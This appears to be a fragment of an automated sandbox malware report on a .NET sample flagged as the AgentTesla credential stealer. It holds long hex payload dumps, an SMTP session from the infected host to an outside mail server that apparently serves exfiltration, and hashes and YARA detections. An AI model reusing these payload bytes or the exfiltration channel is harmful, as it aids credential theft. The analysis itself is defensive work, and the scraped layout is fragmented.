35 20 31 30 33 20 31 31 39 20 34 38 20 33 37 20 33 32 20 31 38 30 20 39 33 20 31 31 32 20 31 32 33 20 31 31 33 20 31 
32 30 20 35 39 20 31 36 20 35 30 20 33 35 20 37 30 20 32 34 30 20 31 32 34 20 31 31 31 20 31 32 36 20 34 36 20 35 38 
20 31 38 20 35 35 20 38 35 20 31 30 33 20 31 30 33 20 32 33 39 20 31 32 31 20 34 38 20 36 32 20 34 36 20 35 33 20 31 
32 34 20 31 31 34 20 31 31 39 20 31 30 30 20 38 38 20 35 30 20 33 37 20 33 32 20 31 38 30 20 39 33 20 31 31 32 20 31 
32 33 20 31 31 33 20 31 31 36 20 35 32 20 33 33 20 31 37 39 20 31 35 20 38 31 20 31 31 37 20 31 31 39 20 31 31 32 20 
31 31 37 20 35 38 20 35 34 20 35 33 20 35 32 20 36 39 20 32 34 33 20 37 36 
Data Ascii: 96 1 101 118 39 34 176 63 86 124 105 103 119 48 37 32 180 93 112 123 113 120 59 16 50 35 70 240 124 111 
126 46 58 18 55 85 103 103 239 121 48 62 46 53 124 114 119 100 88 50 37 32 180 93 112 123 113 116 52 33 179 15 81 
117 119 112 117 58 54 53 52 69 243 76

2021-10-14 06:12:17 UTC 731 IN Data Raw: 31 37 20 31 30 39 20 34 30 20 35 30 20 38 33 20 35 30 20 37 31 20 38 34 20 31 31 34 20 31 31 37 20 38 35 
20 31 31 32 20 35 38 20 34 38 20 35 31 20 35 34 20 31 38 20 31 31 34 20 32 38 20 31 30 39 20 32 38 20 35 30 20 38 35 
20 35 30 20 31 31 34 20 38 34 20 32 33 20 31 31 37 20 33 30 20 31 31 32 20 38 31 20 34 38 20 36 34 20 35 34 20 36 31 
20 31 31 34 20 35 20 31 30 39 20 34 20 35 30 20 38 39 20 35 30 20 38 39 20 38 34 20 32 38 20 31 31 37 20 31 30 39 20 
31 31 32 20 35 30 20 34 38 20 39 36 20 35 34 20 30 20 31 31 34 20 33 38 20 31 30 39 20 38 30 20 35 30 20 31 30 32 20 
35 30 20 37 38 20 38 34 20 36 30 20 31 31 37 20 31 30 39 20 31 31 32 20 32 20 34 38 20 35 38 20 35 34 20 38 35 20 31 
31 34 20 35 31 20 31 30 39 20 32 35 20 35 30 20 39 32 20 35 30 20 38 33 20 
Data Ascii: 17 109 40 50 83 50 71 84 114 117 85 112 58 48 51 54 18 114 28 109 28 50 85 50 114 84 23 117 30 112 81 48 
64 54 61 114 5 109 4 50 89 50 89 84 28 117 109 112 50 48 96 54 0 114 38 109 80 50 102 50 78 84 60 117 109 112 2 48 
58 54 85 114 51 109 25 50 92 50 83 

Timestamp
kBytes
transferred Direction Data
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2021-10-14 06:12:17 UTC 747 IN Data Raw: 20 36 37 20 31 35 37 20 33 37 20 33 32 20 38 20 30 20 30 20 30 20 33 31 20 35 32 20 31 35 37 20 33 37 20 
33 32 20 38 20 30 20 30 20 30 20 33 31 20 31 30 31 20 31 35 37 20 33 37 20 33 30 20 33 31 20 31 30 30 20 31 35 37 20 
33 37 20 33 32 20 37 20 30 20 30 20 30 20 33 31 20 31 30 31 20 31 35 37 20 33 37 20 33 32 20 37 20 30 20 30 20 30 20 
33 31 20 39 39 20 31 35 37 20 33 37 20 32 39 20 33 31 20 39 37 20 31 35 37 20 33 37 20 33 32 20 36 20 30 20 30 20 30 
20 33 31 20 35 32 20 31 35 37 20 33 37 20 33 32 20 36 20 30 20 30 20 30 20 33 31 20 35 33 20 31 35 37 20 33 37 20 32 
38 20 33 31 20 31 30 31 20 31 35 37 20 33 37 20 33 32 20 35 20 30 20 30 20 30 20 33 31 20 35 31 20 31 35 37 20 33 37 
20 33 32 20 35 20 30 20 30 20 30 20 33 31 20 35 32 20 31 35 37 20 33 37 20 
Data Ascii:  67 157 37 32 8 0 0 0 31 52 157 37 32 8 0 0 0 31 101 157 37 30 31 100 157 37 32 7 0 0 0 31 101 157 37 32 7 
0 0 0 31 99 157 37 29 31 97 157 37 32 6 0 0 0 31 52 157 37 32 6 0 0 0 31 53 157 37 28 31 101 157 37 32 5 0 0 0 31 51 
157 37 32 5 0 0 0 31 52 157 37 

2021-10-14 06:12:17 UTC 763 IN Data Raw: 36 20 31 30 37 20 31 32 20 31 33 20 30 20 31 20 30 20 33 20 30 20 35 20 31 20 30 20 30 20 32 35 34 20 31 
32 39 20 30 20 30 20 31 33 20 30 20 35 20 30 20 38 20 30 20 35 20 31 20 30 20 30 20 31 31 31 20 31 34 39 20 30 20 30 
20 31 33 20 30 20 35 20 30 20 31 35 20 30 20 30 20 31 20 30 20 30 20 32 31 34 20 31 31 34 20 32 33 20 31 30 36 20 31 
33 20 30 20 36 20 30 20 31 37 20 30 20 30 20 31 20 30 20 30 20 35 38 20 39 34 20 31 37 37 20 30 20 31 33 20 30 20 36 
20 30 20 31 38 20 30 20 30 20 31 20 30 20 30 20 31 33 35 20 31 30 37 20 31 37 37 20 30 20 31 33 20 30 20 36 20 30 20 
31 39 20 30 20 30 20 31 20 30 20 30 20 32 34 30 20 34 38 20 31 37 37 20 30 20 31 33 20 30 20 36 20 30 20 32 30 20 30 
20 30 20 31 20 30 20 30 20 31 32 20 36 38 20 31 37 37 20 30 20 31 33 20 30 
Data Ascii: 6 107 12 13 0 1 0 3 0 5 1 0 0 254 129 0 0 13 0 5 0 8 0 5 1 0 0 111 149 0 0 13 0 5 0 15 0 0 1 0 0 214 114 23 
106 13 0 6 0 17 0 0 1 0 0 58 94 177 0 13 0 6 0 18 0 0 1 0 0 135 107 177 0 13 0 6 0 19 0 0 1 0 0 240 48 177 0 13 0 6 0 20 
0 0 1 0 0 12 68 177 0 13 0

2021-10-14 06:12:17 UTC 779 IN Data Raw: 20 30 20 31 30 20 34 38 20 32 37 20 31 20 34 35 20 30 20 31 34 30 20 31 36 30 20 33 20 30 20 30 20 30 20 
32 32 20 30 20 31 36 32 20 32 35 20 32 37 20 31 20 34 35 20 30 20 39 32 20 31 32 39 20 33 20 30 20 30 20 30 20 31 35 
30 20 30 20 31 34 39 20 33 32 20 33 31 20 31 20 34 35 20 30 20 31 30 33 20 31 32 39 20 33 20 30 20 30 20 30 20 31 35 
30 20 30 20 32 34 20 35 31 20 33 38 20 31 20 34 35 20 30 20 34 38 20 31 36 31 20 33 20 30 20 30 20 30 20 31 35 30 20 
30 20 33 20 32 37 20 34 34 20 31 20 34 35 20 30 20 32 30 34 20 31 36 31 20 33 20 30 20 30 20 30 20 31 35 30 20 30 20 
32 34 38 20 36 36 20 35 33 20 31 20 34 35 20 30 20 31 31 34 20 31 32 39 20 33 20 30 20 30 20 30 20 31 35 30 20 30 20 
31 34 20 31 34 30 20 35 39 20 31 20 34 35 20 30 20 36 30 20 31 36 32 20 33 
Data Ascii:  0 10 48 27 1 45 0 140 160 3 0 0 0 22 0 162 25 27 1 45 0 92 129 3 0 0 0 150 0 149 32 31 1 45 0 103 129 3 0 0 
0 150 0 24 51 38 1 45 0 48 161 3 0 0 0 150 0 3 27 44 1 45 0 204 161 3 0 0 0 150 0 248 66 53 1 45 0 114 129 3 0 0 0 150 
0 14 140 59 1 45 0 60 162 3

2021-10-14 06:12:17 UTC 795 IN Data Raw: 39 35 20 31 20 33 35 20 30 20 31 32 37 20 31 20 32 32 34 20 31 20 32 37 20 30 20 31 32 37 20 31 20 32 32 
37 20 31 20 33 35 20 30 20 31 32 37 20 31 20 30 20 32 20 32 37 20 30 20 31 32 37 20 31 20 30 20 32 20 31 39 20 30 20 
39 32 20 31 32 20 33 20 32 20 33 35 20 30 20 31 32 37 20 31 20 33 35 20 32 20 33 35 20 30 20 31 32 37 20 31 20 31 33 
31 20 32 20 33 35 20 30 20 31 32 37 20 31 20 31 36 33 20 32 20 33 35 20 30 20 31 32 37 20 31 20 31 39 35 20 32 20 33 
35 20 30 20 31 32 37 20 31 20 39 39 20 34 20 33 35 20 30 20 31 32 37 20 31 20 31 36 30 20 34 20 39 31 20 30 20 31 32 
37 20 31 20 31 36 33 20 34 20 31 30 37 20 30 20 31 32 37 20 31 20 33 35 20 35 20 31 30 37 20 30 20 31 32 37 20 31 20 
39 39 20 35 20 37 35 20 30 20 31 32 37 20 31 20 36 34 20 31 32 20 37 35 20 
Data Ascii: 95 1 35 0 127 1 224 1 27 0 127 1 227 1 35 0 127 1 0 2 27 0 127 1 0 2 19 0 92 12 3 2 35 0 127 1 35 2 35 0 127 
1 131 2 35 0 127 1 163 2 35 0 127 1 195 2 35 0 127 1 99 4 35 0 127 1 160 4 91 0 127 1 163 4 107 0 127 1 35 5 107 0 127 
1 99 5 75 0 127 1 64 12 75 

2021-10-14 06:12:17 UTC 811 IN Data Raw: 32 32 38 20 31 38 36 20 31 34 36 20 32 32 38 20 31 38 37 20 31 33 31 20 32 32 38 20 31 38 36 20 31 34 35 
20 32 32 38 20 31 38 37 20 31 32 38 20 30 20 32 33 32 20 31 33 36 20 31 38 38 20 32 33 32 20 31 33 37 20 31 32 38 20 
32 33 32 20 31 33 37 20 31 33 33 20 32 33 32 20 31 33 37 20 31 37 33 20 32 33 32 20 31 33 37 20 31 33 32 20 32 33 32 
20 31 33 37 20 31 33 32 20 32 33 32 20 31 33 37 20 31 33 33 20 32 33 32 20 31 33 36 20 31 39 30 20 32 33 32 20 31 33 
37 20 31 37 34 20 32 33 32 20 31 33 37 20 31 38 31 20 32 33 32 20 31 33 37 20 31 34 33 20 32 33 32 20 31 33 37 20 31 
37 38 20 32 33 32 20 31 33 37 20 31 34 38 20 32 33 32 20 31 33 37 20 31 37 36 20 32 33 32 20 31 33 37 20 31 32 39 20 
30 20 32 33 33 20 31 33 36 20 31 39 30 20 32 33 33 20 31 33 37 20 31 33 30 
Data Ascii: 228 186 146 228 187 131 228 186 145 228 187 128 0 232 136 188 232 137 128 232 137 133 232 137 173 232 
137 132 232 137 132 232 137 133 232 136 190 232 137 174 232 137 181 232 137 143 232 137 178 232 137 148 232 137 
176 232 137 129 0 233 136 190 233 137 130

2021-10-14 06:12:17 UTC 827 IN Data Raw: 39 20 32 33 31 20 31 35 37 20 31 33 37 20 32 33 31 20 31 35 36 20 31 34 39 20 32 33 31 20 31 35 36 20 31 
34 37 20 32 33 31 20 31 35 36 20 31 38 38 20 32 33 31 20 31 35 37 20 31 33 32 20 32 33 31 20 31 35 37 20 31 34 32 20 
32 33 31 20 31 35 36 20 31 34 38 20 32 33 31 20 31 35 37 20 31 35 37 20 32 33 31 20 31 35 36 20 31 35 34 20 32 33 31 
20 31 35 36 20 31 35 32 20 32 33 31 20 31 35 37 20 31 33 36 20 30 20 32 33 30 20 31 36 30 20 31 34 33 20 32 33 30 20 
31 36 30 20 31 34 30 20 32 33 30 20 31 36 30 20 31 37 34 20 32 33 30 20 31 36 30 20 31 33 37 20 32 33 30 20 31 36 30 
20 31 34 31 20 32 33 30 20 31 36 30 20 31 34 30 20 32 33 30 20 31 36 30 20 31 33 39 20 32 33 30 20 31 36 30 20 31 33 
38 20 32 33 30 20 31 36 31 20 31 33 35 20 32 33 30 20 31 36 30 20 31 38 37 
Data Ascii: 9 231 157 137 231 156 149 231 156 147 231 156 188 231 157 132 231 157 142 231 156 148 231 157 157 231 
156 154 231 156 152 231 157 136 0 230 160 143 230 160 140 230 160 174 230 160 137 230 160 141 230 160 140 230 
160 139 230 160 138 230 161 135 230 160 187

2021-10-14 06:12:17 UTC 843 IN Data Raw: 32 33 37 20 31 35 35 20 31 37 39 20 32 33 37 20 31 35 36 20 31 36 34 20 32 33 37 20 31 35 35 20 31 38 34 
20 32 33 37 20 31 35 36 20 31 34 35 20 32 33 37 20 31 35 35 20 31 37 39 20 32 33 37 20 31 35 35 20 31 38 33 20 32 33 
37 20 31 35 35 20 31 38 32 20 32 33 37 20 31 35 36 20 31 36 33 20 32 33 37 20 31 35 35 20 31 37 38 20 32 33 37 20 31 
35 36 20 31 34 37 20 32 33 37 20 31 35 36 20 31 34 33 20 30 20 32 33 35 20 31 35 39 20 31 36 33 20 32 33 35 20 31 35 
39 20 31 39 31 20 32 33 35 20 31 35 39 20 31 34 37 20 32 33 35 20 31 36 30 20 31 32 38 20 32 33 35 20 31 35 39 20 31 
34 30 20 32 33 35 20 31 35 39 20 31 34 37 20 32 33 35 20 31 35 39 20 31 38 37 20 32 33 35 20 31 35 39 20 31 36 35 20 
32 33 35 20 31 35 39 20 31 34 35 20 32 33 35 20 31 35 39 20 31 34 31 20 32 
Data Ascii: 237 155 179 237 156 164 237 155 184 237 156 145 237 155 179 237 155 183 237 155 182 237 156 163 237 
155 178 237 156 147 237 156 143 0 235 159 163 235 159 191 235 159 147 235 160 128 235 159 140 235 159 147 235 
159 187 235 159 165 235 159 145 235 159 141 2

2021-10-14 06:12:17 UTC 859 IN Data Raw: 31 37 37 20 31 37 34 20 32 32 36 20 31 37 37 20 31 37 35 20 32 32 36 20 31 37 37 20 31 37 33 20 32 32 36 
20 31 37 38 20 31 33 35 20 32 32 36 20 31 37 38 20 31 34 35 20 32 32 36 20 31 37 38 20 31 34 39 20 30 20 32 33 35 20 
31 38 36 20 31 35 38 20 32 33 35 20 31 38 36 20 31 35 39 20 32 33 35 20 31 38 36 20 31 32 38 20 32 33 35 20 31 38 36 
20 31 34 36 20 32 33 35 20 31 38 36 20 31 37 36 20 32 33 35 20 31 38 35 20 31 37 39 20 32 33 35 20 31 38 35 20 31 37 
37 20 32 33 35 20 31 38 36 20 31 36 35 20 32 33 35 20 31 38 35 20 31 37 36 20 32 33 35 20 31 38 35 20 31 38 30 20 32 
33 35 20 31 38 36 20 31 36 33 20 32 33 35 20 31 38 35 20 31 38 30 20 32 33 35 20 31 38 35 20 31 37 35 20 32 33 35 20 
31 38 36 20 31 33 39 20 32 33 35 20 31 38 36 20 31 34 39 20 30 20 32 33 36 
Data Ascii: 177 174 226 177 175 226 177 173 226 178 135 226 178 145 226 178 149 0 235 186 158 235 186 159 235 186 
128 235 186 146 235 186 176 235 185 179 235 185 177 235 186 165 235 185 176 235 185 180 235 186 163 235 185 180 
235 185 175 235 186 139 235 186 149 0 236

Timestamp
kBytes
transferred Direction Data
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2021-10-14 06:12:17 UTC 875 IN Data Raw: 36 20 31 35 32 20 32 32 37 20 31 34 35 20 31 38 34 20 32 32 37 20 31 34 36 20 31 35 35 20 32 32 37 20 31 
34 35 20 31 37 36 20 32 32 37 20 31 34 36 20 31 35 32 20 32 32 37 20 31 34 36 20 31 35 37 20 30 20 32 33 39 20 31 34 
39 20 31 34 36 20 32 33 39 20 31 34 38 20 31 37 39 20 32 33 39 20 31 34 39 20 31 35 37 20 32 33 39 20 31 34 38 20 31 
36 32 20 32 33 39 20 31 34 38 20 31 36 34 20 32 33 39 20 31 34 39 20 31 32 38 20 32 33 39 20 31 34 38 20 31 36 31 20 
32 33 39 20 31 34 38 20 31 38 38 20 32 33 39 20 31 34 38 20 31 35 36 20 32 33 39 20 31 34 38 20 31 35 39 20 32 33 39 
20 31 34 39 20 31 34 32 20 32 33 39 20 31 34 38 20 31 36 32 20 32 33 39 20 31 34 38 20 31 36 32 20 32 33 39 20 31 34 
39 20 31 34 33 20 32 33 39 20 31 34 38 20 31 35 37 20 30 20 32 33 30 20 31 
Data Ascii: 6 152 227 145 184 227 146 155 227 145 176 227 146 152 227 146 157 0 239 149 146 239 148 179 239 149 
157 239 148 162 239 148 164 239 149 128 239 148 161 239 148 188 239 148 156 239 148 159 239 149 142 239 148 162 
239 148 162 239 149 143 239 148 157 0 230 1

2021-10-14 06:12:17 UTC 891 IN Data Raw: 31 36 38 20 32 33 35 20 31 32 39 20 31 36 33 20 32 33 35 20 31 32 39 20 31 36 36 20 32 33 35 20 31 32 39 
20 31 38 32 20 32 33 35 20 31 33 30 20 31 35 31 20 32 33 35 20 31 33 30 20 31 35 36 20 32 33 35 20 31 32 39 20 31 36 
32 20 32 33 35 20 31 32 39 20 31 36 33 20 32 33 35 20 31 32 39 20 31 37 30 20 32 33 35 20 31 33 30 20 31 32 38 20 32 
33 35 20 31 33 30 20 31 36 35 20 30 20 32 32 36 20 31 33 31 20 31 35 34 20 32 32 36 20 31 33 31 20 31 35 34 20 32 32 
36 20 31 33 30 20 31 37 33 20 32 32 36 20 31 33 31 20 31 35 31 20 32 32 36 20 31 33 31 20 31 35 39 20 32 32 36 20 31 
33 31 20 31 35 34 20 32 32 36 20 31 33 31 20 31 33 36 20 32 32 36 20 31 33 30 20 31 36 37 20 32 32 36 20 31 33 31 20 
31 35 32 20 32 32 36 20 31 33 30 20 31 37 32 20 32 32 36 20 31 33 31 20 31 
Data Ascii: 168 235 129 163 235 129 166 235 129 182 235 130 151 235 130 156 235 129 162 235 129 163 235 129 170 
235 130 128 235 130 165 0 226 131 154 226 131 154 226 130 173 226 131 151 226 131 159 226 131 154 226 131 136 
226 130 167 226 131 152 226 130 172 226 131 1

2021-10-14 06:12:17 UTC 907 IN Data Raw: 39 20 32 33 32 20 31 33 30 20 31 33 35 20 32 33 32 20 31 32 39 20 31 37 34 20 32 33 32 20 31 32 39 20 31 
37 37 20 32 33 32 20 31 32 39 20 31 37 32 20 32 33 32 20 31 32 39 20 31 37 35 20 32 33 32 20 31 32 39 20 31 38 30 20 
32 33 32 20 31 32 39 20 31 38 31 20 32 33 32 20 31 32 39 20 31 37 32 20 32 33 32 20 31 33 30 20 31 36 32 20 32 33 32 
20 31 33 30 20 31 37 32 20 30 20 32 32 36 20 31 33 31 20 31 38 30 20 32 32 36 20 31 33 31 20 31 35 32 20 32 32 36 20 
31 33 31 20 31 37 37 20 32 32 36 20 31 33 31 20 31 35 36 20 32 32 36 20 31 33 31 20 31 35 33 20 32 32 36 20 31 33 31 
20 31 36 31 20 32 32 36 20 31 33 32 20 31 34 35 20 32 32 36 20 31 33 32 20 31 34 36 20 32 32 36 20 31 33 31 20 31 35 
33 20 32 32 36 20 31 33 31 20 31 35 36 20 32 32 36 20 31 33 31 20 31 36 30 
Data Ascii: 9 232 130 135 232 129 174 232 129 177 232 129 172 232 129 175 232 129 180 232 129 181 232 129 172 232 
130 162 232 130 172 0 226 131 180 226 131 152 226 131 177 226 131 156 226 131 153 226 131 161 226 132 145 226 
132 146 226 131 153 226 131 156 226 131 160

2021-10-14 06:12:17 UTC 923 IN Data Raw: 32 33 35 20 31 38 35 20 31 36 34 20 32 33 35 20 31 38 34 20 31 37 34 20 32 33 35 20 31 38 34 20 31 37 38 
20 32 33 35 20 31 38 35 20 31 35 37 20 32 33 35 20 31 38 34 20 31 39 31 20 32 33 35 20 31 38 34 20 31 37 35 20 32 33 
35 20 31 38 34 20 31 37 30 20 32 33 35 20 31 38 35 20 31 36 36 20 32 33 35 20 31 38 35 20 31 35 37 20 32 33 35 20 31 
38 34 20 31 37 39 20 30 20 32 33 36 20 31 38 39 20 31 36 30 20 32 33 36 20 31 38 39 20 31 38 33 20 32 33 36 20 31 38 
39 20 31 36 31 20 32 33 36 20 31 39 30 20 31 32 38 20 32 33 36 20 31 38 39 20 31 35 36 20 32 33 36 20 31 38 39 20 31 
35 37 20 32 33 36 20 31 38 39 20 31 36 32 20 32 33 36 20 31 38 39 20 31 35 37 20 32 33 36 20 31 38 39 20 31 38 35 20 
32 33 36 20 31 39 30 20 31 34 33 20 32 33 36 20 31 39 30 20 31 35 32 20 32 
Data Ascii: 235 185 164 235 184 174 235 184 178 235 185 157 235 184 191 235 184 175 235 184 170 235 185 166 235 
185 157 235 184 179 0 236 189 160 236 189 183 236 189 161 236 190 128 236 189 156 236 189 157 236 189 162 236 
189 157 236 189 185 236 190 143 236 190 152 2

2021-10-14 06:12:17 UTC 939 IN Data Raw: 31 20 31 33 33 20 31 33 37 20 32 33 31 20 31 33 33 20 31 33 37 20 32 33 31 20 31 33 33 20 31 33 39 20 32 
33 31 20 31 33 33 20 31 38 35 20 32 33 31 20 31 33 33 20 31 36 37 20 32 33 31 20 31 33 33 20 31 38 38 20 32 33 31 20 
31 33 33 20 31 38 37 20 32 33 31 20 31 33 33 20 31 35 39 20 32 33 31 20 31 33 34 20 31 34 36 20 32 33 31 20 31 33 33 
20 31 33 36 20 32 33 31 20 31 33 33 20 31 38 37 20 32 33 31 20 31 33 33 20 31 39 30 20 32 33 31 20 31 33 33 20 31 34 
34 20 32 33 31 20 31 33 33 20 31 38 39 20 32 33 31 20 31 33 33 20 31 38 37 20 30 20 32 33 31 20 31 34 32 20 31 33 34 
20 32 33 31 20 31 34 31 20 31 38 37 20 32 33 31 20 31 34 31 20 31 34 30 20 32 33 31 20 31 34 31 20 31 33 39 20 32 33 
31 20 31 34 31 20 31 37 36 20 32 33 31 20 31 34 31 20 31 34 30 20 32 33 31 
Data Ascii: 1 133 137 231 133 137 231 133 139 231 133 185 231 133 167 231 133 188 231 133 187 231 133 159 231 134 
146 231 133 136 231 133 187 231 133 190 231 133 144 231 133 189 231 133 187 0 231 142 134 231 141 187 231 141 
140 231 141 139 231 141 176 231 141 140 231

2021-10-14 06:12:17 UTC 955 IN Data Raw: 36 20 31 38 20 31 30 34 20 33 20 36 20 31 38 20 31 30 38 20 33 20 36 20 31 38 20 31 31 32 20 33 20 36 20 
31 38 20 31 31 36 20 33 20 36 20 31 38 20 31 32 30 20 33 20 36 20 31 38 20 31 32 34 20 34 20 36 20 31 38 20 31 32 38 
20 31 32 38 20 33 20 36 20 32 39 20 38 20 33 20 36 20 31 38 20 39 32 20 35 20 33 32 20 32 20 31 20 32 38 20 32 34 20 
38 20 33 32 20 33 20 31 38 20 35 37 20 32 34 20 31 38 20 36 31 20 32 38 20 35 20 33 32 20 31 20 38 20 31 38 20 35 37 
20 34 20 33 32 20 31 20 38 20 32 34 20 31 30 20 33 32 20 34 20 31 38 20 35 37 20 32 34 20 32 39 20 38 20 31 38 20 36 
31 20 32 38 20 35 20 33 32 20 31 20 32 20 31 38 20 35 37 20 36 20 33 32 20 32 20 32 20 32 34 20 32 39 20 38 20 31 32 
20 33 32 20 37 20 31 38 20 35 37 20 32 34 20 38 20 38 20 38 20 38 20 31 38 
Data Ascii: 6 18 104 3 6 18 108 3 6 18 112 3 6 18 116 3 6 18 120 3 6 18 124 4 6 18 128 128 3 6 29 8 3 6 18 92 5 32 2 1 2
8 24 8 32 3 18 57 24 18 61 28 5 32 1 8 18 57 4 32 1 8 24 10 32 4 18 57 24 29 8 18 61 28 5 32 1 2 18 57 6 32 2 2 24 29 8 
12 32 7 18 57 24 8 8 8 8 18

Timestamp
kBytes
transferred Direction Data

Timestamp
Source
Port

Dest
Port Source IP Dest IP Commands

Oct 14, 2021 08:14:07.845772028 CEST 587 49826 212.1.210.54 192.168.2.7 220-cpl27.main-hosting.eu ESMTP Exim 4.94.2 #2 Thu, 14 Oct 2021 
06:14:07 +0000 
220-We do not authorize the use of this system to transport unsolicited, 
220 and/or bulk e-mail.

Oct 14, 2021 08:14:07.848347902 CEST 49826 587 192.168.2.7 212.1.210.54 EHLO 688098

Oct 14, 2021 08:14:07.989404917 CEST 587 49826 212.1.210.54 192.168.2.7 250-cpl27.main-hosting.eu Hello 688098 [102.129.143.33]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-PIPE_CONNECT
250-AUTH PLAIN LOGIN
250-STARTTLS
250 HELP

Oct 14, 2021 08:14:07.990039110 CEST 49826 587 192.168.2.7 212.1.210.54 STARTTLS

Oct 14, 2021 08:14:08.132267952 CEST 587 49826 212.1.210.54 192.168.2.7 220 TLS go ahead

SMTP Packets
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Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 08:12:15

Start date: 14/10/2021

Path: C:\Users\user\Desktop\TqSDHvsKpt.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\TqSDHvsKpt.exe' 

Imagebase: 0xd30000

File size: 37888 bytes

MD5 hash: B063D4A9942D8B820AD62D2359D5263D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
00000000.00000002.253482513.0000000004D24000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 
00000000.00000002.253482513.0000000004D24000.00000004.00000001.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

Show Windows behavior

Start time: 08:12:18

Start date: 14/10/2021

Path: C:\Users\user\Desktop\TqSDHvsKpt.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\Desktop\TqSDHvsKpt.exe

Imagebase: 0x880000

File size: 37888 bytes

Analysis Process: TqSDHvsKpt.exe PID: 5876 Parent PID: 6092Analysis Process: TqSDHvsKpt.exe PID: 5876 Parent PID: 6092

General

File CreatedFile Created

File ReadFile Read

Analysis Process: TqSDHvsKpt.exe PID: 2900 Parent PID: 5876Analysis Process: TqSDHvsKpt.exe PID: 2900 Parent PID: 5876

General
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Disassembly

Code Analysis

File ActivitiesFile Activities

MD5 hash: B063D4A9942D8B820AD62D2359D5263D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
00000001.00000002.519878184.0000000002D71000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, 
Source: 
00000001.00000002.519878184.0000000002D71000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
00000001.00000002.512013569.0000000000402000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 
00000001.00000002.512013569.0000000000402000.00000040.00000001.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 08:12:20

Start date: 14/10/2021

Path: C:\Windows\SysWOW64\WerFault.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerFault.exe -u -p 5876 -s 2120

Imagebase: 0x1180000

File size: 434592 bytes

MD5 hash: 9E2B8ACAD48ECCA55C0230D63623661B

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: high

Show Windows behavior

Show Windows behavior

File CreatedFile Created

File ReadFile Read

Analysis Process: WerFault.exe PID: 4828 Parent PID: 5876Analysis Process: WerFault.exe PID: 4828 Parent PID: 5876

General

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written

Key CreatedKey Created

Key Value CreatedKey Value Created
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